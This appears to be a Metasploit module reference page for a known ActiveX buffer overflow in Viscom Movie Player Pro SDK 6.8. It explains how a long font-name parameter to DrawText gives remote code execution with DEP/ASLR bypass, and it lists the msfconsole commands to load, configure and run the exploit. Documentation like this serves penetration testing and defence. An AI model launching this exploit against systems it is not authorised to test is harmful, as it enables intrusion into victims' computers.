Stack-based buffer overflow in the MOVIEPLAYER.MoviePlayerCtrl.1 ActiveX control in MoviePlayer.ocx 6.8.0.0 in Viscom Software Movie Player Pro SDK ActiveX 6.8 allows remote attackers to execute arbitrary code via a long strFontName parameter to the DrawText method. The victim will first be required to trust the publisher Viscom Software. This module has been designed to bypass DEP and ASLR under XP IE8, Vista and Win7 with Java support.

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/windows/browser/viscom_movieplayer_drawtext
msf exploit(viscom_movieplayer_drawtext) > show targets
...targets...
msf exploit(viscom_movieplayer_drawtext) > set TARGET < target-id >
msf exploit(viscom_movieplayer_drawtext) > show options
...show and set options...
msf exploit(viscom_movieplayer_drawtext) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
